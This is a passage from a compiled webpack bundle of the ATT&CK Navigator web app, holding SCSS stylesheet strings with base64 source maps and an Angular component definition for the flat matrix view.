yIGNvbG9yIGZvciB0aGUgY29sb3JcbkBmdW5jdGlvbiBib3JkZXItY29sb3IoJG5hbWUpIHtcbiAgICBAcmV0dXJuIG1peChpbnZlcnQoY29sb3IoJG5hbWUpKSwgY29sb3IoJG5hbWUpLCAxMi41JSk7IFxuICAgIC8vIEByZXR1cm4gcmdiYShpbnZlcnQoY29sb3IoJG5hbWUpKSwgMC4xMjUpO1xufVxuIiwiQGltcG9ydCBcIi4uLy4uL2NvbG9ycy5zY3NzXCI7XG5cbiRzaXpldW5pdDogMTRweDtcblxuLm1hdHJpeCB7XG4gICAgYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZTtcbiAgICBsaW5lLWhlaWdodDogJHNpemV1bml0O1xufSIsIi8qKlxuICogQ29sb3JzIHVzZWQgYWNyb3NzIHRoZSBOYXZpZ2F0b3IuIFNoYXJlZCBieSB0aGUgQVRUJkNLIFdlYnNpdGUuXG4gKiBGb3IgZWFjaCBjb2xvci1wYWlyOlxuICogICAtIFwiY29sb3JcIiByZWZlcnMgdG8gdGhlIGNvbG9yIGl0c2VsZlxuICogICAtIFwib24tY29sb3JcIiByZWZlcnMgdG8gdGhlIG1vc3QgcmVhZGFibGUgdGV4dC1jb2xvciB0byBhcHBlYXIgb24gdG9wIG9mIHRoZSBjb2xvci4gXG4gKiBOb3RlOiBzb21lIGNvbG9ycyBkb24ndCBkZWZpbmUgb24tY29sb3JzLiBUaGlzIGlzIGJlY2F1c2UsIGZvciB0aGVzZSBjb2xvcnMsIHRoZXkgYXJlbid0IGludGVuZGVkIHRvXG4gKiBhcHBlYXIgd2l0aCBpbm5lciBjb250ZW50LiBGb3IgZXhhbXBsZSwgXCJsaW5rXCIgaXMgb25seSBpbnRlbmRlZCB0byBiZSB1c2VkIGZvciBsaW5rIHRleHQsIHdoaWNoIGluaGVyZW50bHlcbiAqIGNhbm5vdCBoYXZlIGlubmVyIHRleHQuXG4gKi9cbi5tYXRyaXgge1xuICBib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlO1xuICBsaW5lLWhlaWdodDogMTRweDtcbn1cblxuLm1hdHJpeC5mbGF0IC50YWN0aWMge1xuICBtYXJnaW4tcmlnaHQ6IDVweDtcbiAgd2lkdGg6IDElO1xuICB2ZXJ0aWNhbC1hbGlnbjogdG9wO1xufVxuLm1hdHJpeC5mbGF0IC50YWN0aWMubmFtZSwgLm1hdHJpeC5mbGF0IC50YWN0aWMuY291bnQge1xuICB0ZXh0LWFsaWduOiBjZW50ZXI7XG4gIGZvbnQtc2l6ZTogMTZweDtcbn1cbi5tYXRyaXguZmxhdCAudGFjdGljLm5hbWUge1xuICBjdXJzb3I6IHBvaW50ZXI7XG4gIHZlcnRpY2FsLWFsaWduOiBib3R0b207XG4gIGZvbnQtd2VpZ2h0OiBib2xkO1xufVxuLm1hdHJpeC5mbGF0IC50YWN0aWMuY291bnQge1xuICBmb250LXNpemU6IDEzcHg7XG4gIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCBibGFjaztcbiAgcGFkZGluZy1ib3R0b206IDVweDtcbiAgbWFyZ2luLWJvdHRvbTogNXB4O1xufVxuLm1hdHJpeC5mbGF0IC50YWN0aWMgLnN1YnRlY2huaXF1ZXMtcm93LmhpZGRlbiB7XG4gIGRpc3BsYXk6IG5vbmU7XG59XG4ubWF0cml4LmZsYXQgLnRhY3RpYyAuc3VwZXJ0ZWNobmlxdWUge1xuICBib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlO1xuICB3aWR0aDogMTAwJTtcbiAgcGFkZGluZzogMDtcbiAgbWFyZ2luOiAwO1xufVxuLm1hdHJpeC5mbGF0IC50YWN0aWMgLnN1cGVydGVjaG5pcXVlIHRkIHtcbiAgcGFkZGluZzogMDtcbiAgdmVydGljYWwtYWxpZ246IHRvcDtcbn1cbi5tYXRyaXguZmxhdCAudGFjdGljIC5zdXBlcnRlY2huaXF1ZSB0ZC5zaWRlYmFyLnRlY2huaXF1ZSB7XG4gIG1pbi13aWR0aDogOHB4O1xuICB3aWR0aDogMTJweDtcbiAgcGFkZGluZzogMDtcbiAgYmFja2dyb3VuZDogIzZiNzI3OTtcbiAgY3Vyc29yOiBwb2ludGVyO1xuICB2ZXJ0aWNhbC1hbGlnbjogbWlkZGxlO1xufVxuLm1hdHJpeC5mbGF0IC50YWN0aWMgLnN1cGVydGVjaG5pcXVlIHRkLnNpZGViYXIudGVjaG5pcXVlIC5oYW5kbGUge1xuICB0ZXh0LWFsaWduOiBjZW50ZXI7XG4gIHZlcnRpY2FsLWFsaWduOiBtaWRkbGU7XG4gIHRyYW5zZm9ybTogcm90YXRlKC05MGRlZyk7XG4gIGNvbG9yOiAjZjJmMmYyO1xuICB3aWR0aDogMTJweDtcbiAgaGVpZ2h0OiAxMnB4O1xuICBmb250LXNpemU6IDE2cHg7XG4gIGxpbmUtaGVpZ2h0OiAxMnB4O1xufVxuLm1hdHJpeC5mbGF0IC50YWN0aWMgLnN1cGVydGVjaG5pcXVlIHRkLnNpZGViYXIudGVjaG5pcXVlLmRpc2FibGVkIHtcbiAgYmFja2dyb3VuZDogI2FhYWFhYTtcbiAgYm9yZGVyLWNvbG9yOiAjYWFhYWFhO1xuICBib3gtc2hhZG93OiBub25lO1xuICBwb2ludGVyLWV2ZW50czogbm9uZTtcbn1cbi5tYXRyaXguZmxhdCAudGFjdGljIC5zdXBlcnRlY2huaXF1ZSB0ZC5zaWRlYmFyLnN1YnRlY2huaXF1ZXMgc3ZnIHtcbiAgZmlsbDogIzZiNzI3OTtcbn1cbi5tYXRyaXguZmxhdCAudGFjdGljIC5zdXBlcnRlY2huaXF1ZSB0ZC5zaWRlYmFyIHtcbiAgYm9yZGVyLXJpZ2h0OiAycHggc29saWQgIzZiNzI3OTtcbn1cbi5tYXRyaXguZmxhdCAudGFjdGljIC5zdXBlcnRlY2huaXF1ZSB0ZC50ZWNobmlxdWUge1xuICBib3gtc2hhZG93OiAwIDAgMCAxcHggIzZiNzI3OSBpbnNldDtcbn1cbi5tYXRyaXguZmxhdCAudGFjdGljIC5tb3JlLWljb24ge1xuICB0cmFuc2l0aW9uOiBhbGwgZWFzZSAwLjEyNXM7XG4gIHZlcnRpY2FsLWFsaWduOiB0b3A7XG4gIHRyYW5zZm9ybTogc2NhbGUoMC41KSByb3RhdGUoLTkwZGVnKTtcbiAgd2lkdGg6IDEycHg7XG4gIGhlaWdodDogMTJweDtcbn1cbi5tYXRyaXguZmxhdCAudGFjdGljIC5tb3JlLWljb24uZXhwYW5kZWQge1xuICB0cmFuc2Zvcm06IHNjYWxlKDAuNSk7XG59IiwiQGltcG9ydCBcIi4uL21hdHJpeC1jb21tb24uc2Nzc1wiO1xuLm1hdHJpeC5mbGF0IHtcbiAgICAudGFjdGljIHtcbiAgICAgICAgbWFyZ2luLXJpZ2h0OiA1cHg7XG4gICAgICAgIHdpZHRoOiAxJTtcbiAgICAgICAgdmVydGljYWwtYWxpZ246IHRvcDtcblxuICAgICAgICAmLm5hbWUsICYuY291bnQge1xuICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyO1xuICAgICAgICAgICAgZm9udC1zaXplOiAkc2l6ZXVuaXQgKyAycHg7XG4gICAgICAgIH1cbiAgICAgICAgJi5uYW1lIHtcbiAgICAgICAgICAgIGN1cnNvcjogcG9pbnRlcjtcbiAgICAgICAgICAgIHZlcnRpY2FsLWFsaWduOiBib3R0b207XG4gICAgICAgICAgICBmb250LXdlaWdodDogYm9sZDtcbiAgICAgICAgfVxuICAgICAgICAmLmNvdW50IHsgXG4gICAgICAgICAgICBmb250LXNpemU6ICRzaXpldW5pdCAtIDFweDtcbiAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCBibGFjaztcbiAgICAgICAgICAgIHBhZGRpbmctYm90dG9tOiA1cHg7XG4gICAgICAgICAgICBtYXJnaW4tYm90dG9tOiA1cHg7XG4gICAgICAgIH1cblxuICAgICAgICAuc3VidGVjaG5pcXVlcy1yb3cuaGlkZGVuIHtcbiAgICAgICAgICAgIGRpc3BsYXk6IG5vbmU7XG4gICAgICAgIH1cbiAgICAgICAgLnN1cGVydGVjaG5pcXVlIHtcbiAgICAgICAgICAgIGJvcmRlci1jb2xsYXBzZTogY29sbGFwc2U7XG4gICAgICAgICAgICB3aWR0aDogMTAwJTtcbiAgICAgICAgICAgIHBhZGRpbmc6IDA7XG4gICAgICAgICAgICBtYXJnaW46IDA7XG4gICAgICAgICAgICB0ZCB7XG4gICAgICAgICAgICAgICAgcGFkZGluZzogMDtcbiAgICAgICAgICAgICAgICB2ZXJ0aWNhbC1hbGlnbjogdG9wO1xuICAgICAgICAgICAgICAgICYuc2lkZWJhci50ZWNobmlxdWUge1xuICAgICAgICAgICAgICAgICAgICBtaW4td2lkdGg6IDhweDtcbiAgICAgICAgICAgICAgICAgICAgd2lkdGg6IDEycHg7XG4gICAgICAgICAgICAgICAgICAgIHBhZGRpbmc6IDA7ICAgIFxuICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiBvbi1jb2xvci1kZWVtcGhhc2lzKGJvZHkpO1xuICAgICAgICAgICAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7XG4gICAgICAgICAgICAgICAgICAgIHZlcnRpY2FsLWFsaWduOiBtaWRkbGU7XG4gICAgICAgICAgICAgICAgICAgIC5oYW5kbGUge1xuICAgICAgICAgICAgICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyO1xuICAgICAgICAgICAgICAgICAgICAgICAgdmVydGljYWwtYWxpZ246IG1pZGRsZTtcbiAgICAgICAgICAgICAgICAgICAgICAgIHRyYW5zZm9ybTogcm90YXRlKC05MGRlZyk7XG4gICAgICAgICAgICAgICAgICAgICAgICBjb2xvcjogY29sb3ItYWx0ZXJuYXRlKGJvZHkpO1xuICAgICAgICAgICAgICAgICAgICAgICAgXG4gICAgICAgICAgICAgICAgICAgICAgICB3aWR0aDogMTJweDsgaGVpZ2h0OiAxMnB4OyBcbiAgICAgICAgICAgICAgICAgICAgICAgIFxuICAgICAgICAgICAgICAgICAgICAgICAgZm9udC1zaXplOiAxNnB4O1xuICAgICAgICAgICAgICAgICAgICAgICAgbGluZS1oZWlnaHQ6IDEycHg7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgJi5kaXNhYmxlZCB7XG4gICAgICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjYWFhYWFhO1xuICAgICAgICAgICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiAjYWFhYWFhO1xuICAgICAgICAgICAgICAgICAgICAgICAgYm94LXNoYWRvdzogbm9uZTtcbiAgICAgICAgICAgICAgICAgICAgICAgIHBvaW50ZXItZXZlbnRzOiBub25lO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICYuc2lkZWJhci5zdWJ0ZWNobmlxdWVzIHtcbiAgICAgICAgICAgICAgICAgICAgc3ZnIHsgZmlsbDogb24tY29sb3ItZGVlbXBoYXNpcyhib2R5KTsgfVxuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAmLnNpZGViYXIge1xuICAgICAgICAgICAgICAgICAgICBib3JkZXItcmlnaHQ6IDJweCBzb2xpZCBvbi1jb2xvci1kZWVtcGhhc2lzKGJvZHkpO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAmLnRlY2huaXF1ZSB7XG4gICAgICAgICAgICAgICAgICAgIGJveC1zaGFkb3c6IDAgMCAwIDFweCBvbi1jb2xvci1kZWVtcGhhc2lzKGJvZHkpIGluc2V0O1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cbiAgICAgICAgfVxuXG4gICAgICAgIC5tb3JlLWljb24ge1xuICAgICAgICAgICAgdHJhbnNpdGlvbjogYWxsIGVhc2UgMC4xMjVzO1xuICAgICAgICAgICAgdmVydGljYWwtYWxpZ246IHRvcDtcbiAgICAgICAgICAgIC8vIFRPRE8gaWNvblxuICAgICAgICAgICAgdHJhbnNmb3JtOiBzY2FsZSgwLjUpIHJvdGF0ZSgtOTBkZWcpO1xuICAgICAgICAgICAgd2lkdGg6IDEycHg7IGhlaWdodDogMTJweDtcbiAgICAgICAgICAgICYuZXhwYW5kZWQge1xuICAgICAgICAgICAgICAgIHRyYW5zZm9ybTogc2NhbGUoMC41KTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgIH1cbn0iXX0= */" + +/***/ }), + +/***/ "./src/app/matrix/matrix-flat/matrix-flat.component.ts": +/*!*************************************************************!*\ + !*** ./src/app/matrix/matrix-flat/matrix-flat.component.ts ***! + \*************************************************************/ +/*! exports provided: MatrixFlatComponent */ +/***/ (function(module, __webpack_exports__, __webpack_require__) { + +"use strict"; +__webpack_require__.r(__webpack_exports__); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "MatrixFlatComponent", function() { return MatrixFlatComponent; }); +/* harmony import */ var _angular_core__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @angular/core */ "./node_modules/@angular/core/fesm5/core.js"); +/* harmony import */ var _matrix_common__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ../matrix-common */ "./src/app/matrix/matrix-common.ts"); +/* harmony import */ var _config_service__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ../../config.service */ "./src/app/config.service.ts"); +var __extends = (undefined && undefined.__extends) || (function () { + var extendStatics = function (d, b) { + extendStatics = Object.setPrototypeOf || + ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) || + function (d, b) { for (var p in b) if (b.hasOwnProperty(p)) d[p] = b[p]; }; + return extendStatics(d, b); + }; + return function (d, b) { + extendStatics(d, b); + function __() { this.constructor = d; } + d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __()); + }; +})(); +var __decorate = (undefined && undefined.__decorate) || function (decorators, target, key, desc) { + var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d; + if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc); + else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r; + return c > 3 && r && Object.defineProperty(target, key, r), r; +}; +var __metadata = (undefined && undefined.__metadata) || function (k, v) { + if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(k, v); +}; + + + +var MatrixFlatComponent = /** @class */ (function (_super) { + __extends(MatrixFlatComponent, _super); + function MatrixFlatComponent(configService) { + return _super.call(this, configService) || this; + } + MatrixFlatComponent.prototype.ngOnInit = function () { }; + MatrixFlatComponent.ctorParameters = function () { return [ + { type: _config_service__WEBPACK_IMPORTED_MODULE_2__["ConfigService"] } + ]; }; + MatrixFlatComponent = __decorate([ + Object(_angular_core__WEBPACK_IMPORTED_MODULE_0__["Component"])({ + selector: 'matrix-flat', + template: __webpack_require__(/*! raw-loader!./matrix-flat.component.html */ "./node_modules/raw-loader/index.js!./src/app/matrix/matrix-flat/matrix-flat.component.html"), + styles: [__webpack_require__(/*! ./matrix-flat.component.scss */ "./src/app/matrix/matrix-flat/matrix-flat.component.scss")] + }), + __metadata("design:paramtypes", [_config_service__WEBPACK_IMPORTED_MODULE_2__["ConfigService"]]) + ], MatrixFlatComponent); + return MatrixFlatComponent; +}(_matrix_common__WEBPACK_IMPORTED_MODULE_1__["MatrixCommon"])); + + + +/***/ }), + +/***/ "./src/app/matrix/matrix-mini/matrix-mini.component.scss": +/*!***************************************************************!*\ + !*** ./src/app/matrix/matrix-mini/matrix-mini.component.scss ***! + \***************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = "/**\n * Colors used across the Navigator. Shared by the ATT&CK Website.\n * For each color-pair:\n * - \"color\" refers to the color itself\n * - \"on-color\" refers to the most readable text-color to appear on top of the color. \n * Note: some colors don't define on-colors. This is because, for these colors, they aren't intended to\n * appear with inner content. For example, \"link\" is only intended to be used for link text, which inherently\n * cannot have inner text.\n */\n.matrix {\n border-collapse: collapse;\n line-height: 14px;\n}\n.matrix.mini .tactic {\n padding: 0 5px;\n}\n.matrix.mini .tactic.header {\n padding: 5px;\n}\n.matrix.mini .tactic.body {\n padding-top: 5px;\n vertical-align: top;\n}\n.matrix.mini .tactic.body .cell-container {\n margin-right: 2.3333333333px;\n margin-bottom: 2.3333333333px;\n}\n.matrix.mini .tactic.body .cell-container:not(.supertechnique-group) {\n display: inline-block;\n}\n.matrix.mini .tactic.body .cell-container.supertechnique-group {\n box-shadow: 0 0 0 1px #6b7279 inset;\n padding-top: 8px;\n padding-left: 8px;\n padding-bottom: 4.6666666667px;\n padding-right: 4.6666666667px;\n}\n.matrix.mini .tactic.body .cell-container.supertechnique {\n box-shadow: 0 0 0 1px #6b7279;\n}\n/*# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIi9ob21lL0xPTi9iZXJuYWxvL2dpdC9hdHRhY2stbmF2aWdhdG9yL25hdi1hcHAvc3JjL2FwcC9tYXRyaXgvbWF0cml4LW1pbmkvbWF0cml4LW1pbmkuY29tcG9uZW50LnNjc3MiLCIvaG9tZS9MT04vYmVybmFsby9naXQvYXR0YWNrLW5hdmlnYXRvci9uYXYtYXBwL3NyYy9hcHAvbWF0cml4L21hdHJpeC1jb21tb24uc2NzcyIsInNyYy9hcHAvbWF0cml4L21hdHJpeC1taW5pL21hdHJpeC1taW5pLmNvbXBvbmVudC5zY3NzIiwiL2hvbWUvTE9OL2Jlcm5hbG8vZ2l0L2F0dGFjay1uYXZpZ2F0b3IvbmF2LWFwcC9zdGRpbiJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFlQTs7Ozs7Ozs7RUFBQTtBQ1hBO0VBQ0kseUJBQUE7RUFDQSxpQkFKTztBQ1VYO0FDVkk7RUFBVSxjQUFBO0FEY2Q7QUNiSTtFQUNJLFlBQUE7QURlUjtBQ2JJO0VBQ0ksZ0JBQUE7RUFDQSxtQkFBQTtBRGVSO0FDVlE7RUFDSSw0QkFBQTtFQUNBLDZCQUFBO0FEWVo7QUNYWTtFQUErQixxQkFBQTtBRGMzQztBQ1pZO0VBTUksbUNBQUE7RUFFQSxnQkFBQTtFQUNBLGlCQUFBO0VBQ0EsOEJBQUE7RUFDQSw2QkFBQTtBRFFoQjtBQ05ZO0VBQ0ksNkJBQUE7QURRaEIiLCJmaWxlIjoic3JjL2FwcC9tYXRyaXgvbWF0cml4LW1pbmkvbWF0cml4LW1pbmkuY29tcG9uZW50LnNjc3MiLCJzb3VyY2VzQ29udGVudCI6WyIkY29sdW1uLWhvdmVyLWNvbG9yOiByZ2IoMjM1LCAyMzUsIDIzNSk7XG4kZGlzYWJsZWQtY29sb3I6IGRhcmtlbigkY29sdW1uLWhvdmVyLWNvbG9yLCAyMCUpO1xuJGNlbGwtaGlnaGxpZ2h0LWNvbG9yOiByZ2IoOTYsIDE5NywgMjU1KTtcbiRob3Zlci1jZWxsLWZvbnQtY29sb3I6IHJnYigwLCAwLCAwKTtcbiRwYW5lbC1kYXJrOiAjZGRkO1xuJHBhbmVsLWxpZ2h0OiBsaWdodGVuKCRwYW5lbC1kYXJrLCA4JSk7XG4kdGFiLXRleHQtY29sb3I6ICM1NTU7XG4kYnV0dG9uLWRhcms6ICNiOGI4Yjg7XG5cbi8vIEFUVCZDSyBCcmFuZCBjb2xvcnNcbiRhdHRhY2stY29sb3JzOiAoXG4gICAgYXR0YWNrLW9yYW5nZTogI2M2M2YxZixcbiAgICBhdHRhY2stYmx1ZTogIzA2MmY0ZlxuKTtcblxuLyoqXG4gKiBDb2xvcnMgdXNlZCBhY3Jvc3MgdGhlIE5hdmlnYXRvci4gU2hhcmVkIGJ5IHRoZSBBVFQmQ0sgV2Vic2l0ZS5cbiAqIEZvciBlYWNoIGNvbG9yLXBhaXI6XG4gKiAgIC0gXCJjb2xvclwiIHJlZmVycyB0byB0aGUgY29sb3IgaXRzZWxmXG4gKiAgIC0gXCJvbi1jb2xvclwiIHJlZmVycyB0byB0aGUgbW9zdCByZWFkYWJsZSB0ZXh0LWNvbG9yIHRvIGFwcGVhciBvbiB0b3Agb2YgdGhlIGNvbG9yLiBcbiAqIE5vdGU6IHNvbWUgY29sb3JzIGRvbid0IGRlZmluZSBvbi1jb2xvcnMuIFRoaXMgaXMgYmVjYXVzZSwgZm9yIHRoZXNlIGNvbG9ycywgdGhleSBhcmVuJ3QgaW50ZW5kZWQgdG9cbiAqIGFwcGVhciB3aXRoIGlubmVyIGNvbnRlbnQuIEZvciBleGFtcGxlLCBcImxpbmtcIiBpcyBvbmx5IGludGVuZGVkIHRvIGJlIHVzZWQgZm9yIGxpbmsgdGV4dCwgd2hpY2ggaW5oZXJlbnRseVxuICogY2Fubm90IGhhdmUgaW5uZXIgdGV4dC5cbiAqL1xuJGNvbG9yczogKFxuICAgIHByaW1hcnk6IChjb2xvcjogbWFwLWdldCgkYXR0YWNrLWNvbG9ycywgYXR0YWNrLW9yYW5nZSksIG9uLWNvbG9yOiB3aGl0ZSksICAvL3VzZWQgZm9yIGhlYWRlciBhbmQgc29tZSBuYXYgZWxlbWVudHNcbiAgICBzZWNvbmRhcnk6IChjb2xvcjogbWFwLWdldCgkYXR0YWNrLWNvbG9ycywgYXR0YWNrLWJsdWUpLCBvbi1jb2xvcjogd2hpdGUpLCAgLy91c2VkIGZvciBmb290ZXIgYW5kIHNvbWUgYnV0dG9uc1xuICAgIGJvZHk6IChjb2xvcjogd2hpdGUsIG9uLWNvbG9yOiAjMzk0MzRDKSwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy9wcmltYXJ5IHBhZ2UgYm9keVxuLy8gIGJvZHk6IChjb2xvcjogcmdiKDUwLCA1MCwgNTApLCBvbi1jb2xvcjogI2NkY2RjZCksICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vZXhhbXBsZSBvZiBhIGRhcmsgdGhlbWUgZm9yIHRoZSBzaXRlXG4gICAgbGluazogKGNvbG9yOiAjNGY3Y2FjKSwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vaHlwZXJsaW5rc1xuICAgIG1hdHJpeC1oZWFkZXI6IChjb2xvcjogZ3JheSwgb24tY29sb3I6IHdoaXRlKSwgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy9jb2xvciBvZiBtYXRyaXggaGVhZGVyc1xuXG4gICAgLy9ib290c3RyYXAgY29sb3JzXG4gICAgYm9vdHN0cmFwLXByaW1hcnk6IChjb2xvcjogIzQyOGJjYSwgb24tY29sb3I6IHdoaXRlKSxcbiAgICBib290c3RyYXAtc3VjY2VzczogKGNvbG9yOiAjNWNiODVjLCBvbi1jb2xvcjogd2hpdGUpLFxuICAgIGJvb3RzdHJhcC1kYW5nZXI6IChjb2xvcjogI2Q5NTM0Ziwgb24tY29sb3I6IGJsYWNrKSxcbiAgICBib290c3RyYXAtd2FybmluZzogKGNvbG9yOiAjZjBhZDRlLCBvbi1jb2xvcjogYmxhY2spLFxuICAgIGJvb3RzdHJhcC1pbmZvOiAoY29sb3I6ICM1YmMwZGUsIG9uLWNvbG9yOiB3aGl0ZSksXG5cbiAgICAvL1RPRE8gZGVwcmVjYXRlIHdpdGggc2VhcmNoIHBhZ2UgY2hhbmdlc1xuICAgIHNlYXJjaC1yZXN1bHRzLWJvcmRlcjogKGNvbG9yOiBibGFjaywgb24tY29sb3I6IGxpZ2h0Z3JleSksICBcbik7XG5cbi8vIGFjY2Vzc29yIGhlbHBlciBmb3IgJGNvbG9ycy4gR2V0cyB0aGUgY29sb3Igb2YgdGhlIG5hbWVkIHBhaXJcbkBmdW5jdGlvbiBjb2xvcigkbmFtZSkge1xuICAgIEByZXR1cm4gbWFwLWdldChtYXAtZ2V0KCRjb2xvcnMsICRuYW1lKSwgXCJjb2xvclwiKTtcbn1cblxuLy8gZ2l2ZW4gYSBjb2xvciBuYW1lLCBnZXQgYW4gYWx0ZXJuYXRlIHZlcnNpb24gb2YgdGhlIGNvbG9yLCBmb3IgcGF0dGVybmluZ1xuLy8gaWYgdGhlIGJhc2UgY29sb3IgaXMgZGFyaywgdGhlIGFsdGVybmF0ZSB3aWxsIGJlIHNsaWdodGx5IGxpZ2h0ZXIuXG4vLyBpZiB0aGUgYmFzZSBjb2xvciBpcyBsaWdodCwgdGhlIGFsdGVybmF0ZSB3aWxsIGJlIHNsaWdodGx5IGRhcmtlci5cbi8vIGNvbnRyYXN0LCBhbiBvcHRpb25hbCBhcmd1bWVudCwgbXVsdGlwbGllcyB0byBjcmVhdGUgYSBtb3JlIGRpc3RpbnQgb3Igc2ltaWxhciBjb2xvci4gPjEgaXMgbW9yZSBkaXN0YW50LCA8MSBpcyBtb3JlIHNpbWlsYXIuXG5AZnVuY3Rpb24gY29sb3ItYWx0ZXJuYXRlKCRuYW1lLCAkY29udHJhc3Q6IDEpIHtcbiAgICBAcmV0dXJuIG1peChpbnZlcnQoY29sb3IoJG5hbWUpKSwgY29sb3IoJG5hbWUpLCAkd2VpZ2h0OiAkY29udHJhc3QgKiA1JSk7IFxufVxuXG4vLyBhY2Nlc3NvciBoZWxwZXIgZm9yICRjb2xvcnMuIEdldHMgdGhlIG9uLWNvbG9yIG9mIHRoZSBuYW1lZCBwYWlyXG5AZnVuY3Rpb24gb24tY29sb3IoJG5hbWUpIHtcbiAgICBAcmV0dXJuIG1hcC1nZXQobWFwLWdldCgkY29sb3JzLCAkbmFtZSksIFwib24tY29sb3JcIik7XG59XG5cbi8vIGdpdmVuIGEgY29sb3ItbmFtZSwgZ2V0IGFuIGVtcGhhc2l6ZWQgdmVyc2lvbiBvZiB0aGUgb24tY29sb3IuXG4vLyBUaGUgZW1waGFzaXplZCBvbi1jb2xvciBpcyBsZXNzIGxpa2UgdGhlIGJhY2tncm91bmQgY29sb3IuXG5AZnVuY3Rpb24gb24tY29sb3ItZW1waGFzaXMoJG5hbWUpIHtcbiAgICBAcmV0dXJuIG1peChpbnZlcnQoY29sb3IoJG5hbWUpKSwgb24tY29sb3IoJG5hbWUpKTsgXG59XG4vLyBnaXZlbiBhIGNvbG9yLW5hbWUsIGdldCBhbiBkZWVtcGhhc2l6ZWQgdmVyc2lvbiBvZiB0aGUgb24tY29sb3IuXG4vLyBUaGUgZGVlbXBoYXNpemVkIG9uLWNvbG9yIGlzIG1vcmUgbGlrZSB0aGUgYmFja2dyb3VuZCBjb2xvci5cbkBmdW5jdGlvbiBvbi1jb2xvci1kZWVtcGhhc2lzKCRuYW1lKSB7XG4gICAgQHJldHVybiBtaXgoY29sb3IoJG5hbWUpLCBvbi1jb2xvcigkbmFtZSksIDI1JSk7IFxufVxuXG4vLyBnaXZlbiBhIGNvbG9yIG5hbWUsIGNvbXB1dGUgYSBib3JkZXIgY29sb3IgZm9yIHRoZSBjb2xvclxuQGZ1bmN0aW9uIGJvcmRlci1jb2xvcigkbmFtZSkge1xuICAgIEByZXR1cm4gbWl4KGludmVydChjb2xvcigkbmFtZSkpLCBjb2xvcigkbmFtZSksIDEyLjUlKTsgXG4gICAgLy8gQHJldHVybiByZ2JhKGludmVydChjb2xvcigkbmFtZSkpLCAwLjEyNSk7XG59XG4iLCJAaW1wb3J0IFwiLi4vLi4vY29sb3JzLnNjc3NcIjtcblxuJHNpemV1bml0OiAxNHB4O1xuXG4ubWF0cml4IHtcbiAgICBib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlO1xuICAgIGxpbmUtaGVpZ2h0OiAkc2l6ZXVuaXQ7XG59IiwiLyoqXG4gKiBDb2xvcnMgdXNlZCBhY3Jvc3MgdGhlIE5hdmlnYXRvci4gU2hhcmVkIGJ5IHRoZSBBVFQmQ0sgV2Vic2l0ZS5cbiAqIEZvciBlYWNoIGNvbG9yLXBhaXI6XG4gKiAgIC0gXCJjb2xvclwiIHJlZmVycyB0byB0aGUgY29sb3IgaXRzZWxmXG4gKiAgIC0gXCJvbi1jb2xvclwiIHJlZmVycyB0byB0aGUgbW9zdCByZWFkYWJsZSB0ZXh0LWNvbG9yIHRvIGFwcGVhciBvbiB0b3Agb2YgdGhlIGNvbG9yLiBcbiAqIE5vdGU6IHNvbWUgY29sb3JzIGRvbid0IGRlZmluZSBvbi1jb2xvcnMuIFRoaXMgaXMgYmVjYXVzZSwgZm9yIHRoZXNlIGNvbG9ycywgdGhleSBhcmVuJ3QgaW50ZW5kZWQgdG9cbiAqIGFwcGVhciB3aXRoIGlubmVyIGNvbnRlbnQuIEZvciBleGFtcGxlLCBcImxpbmtcIiBpcyBvbmx5IGludGVuZGVkIHRvIGJlIHVzZWQgZm9yIGxpbmsgdGV4dCwgd2hpY2ggaW5oZXJlbnRseVxuICogY2Fubm90IGhhdmUgaW5uZXIgdGV4dC5cbiAqL1xuLm1hdHJpeCB7XG4gIGJvcmRlci1jb2xsYXBzZTogY29sbGFwc2U7XG4gIGxpbmUtaGVpZ2h0OiAxNHB4O1xufVxuXG4ubWF0cml4Lm1pbmkgLnRhY3RpYyB7XG4gIHBhZGRpbmc6IDAgNXB4O1xufVxuLm1hdHJpeC5taW5pIC50YWN0aWMuaGVhZGVyIHtcbiAgcGFkZGluZzogNXB4O1xufVxuLm1hdHJpeC5taW5pIC50YWN0aWMuYm9keSB7XG4gIHBhZGRpbmctdG9wOiA1cHg7XG4gIHZlcnRpY2FsLWFsaWduOiB0b3A7XG59XG4ubWF0cml4Lm1pbmkgLnRhY3RpYy5ib2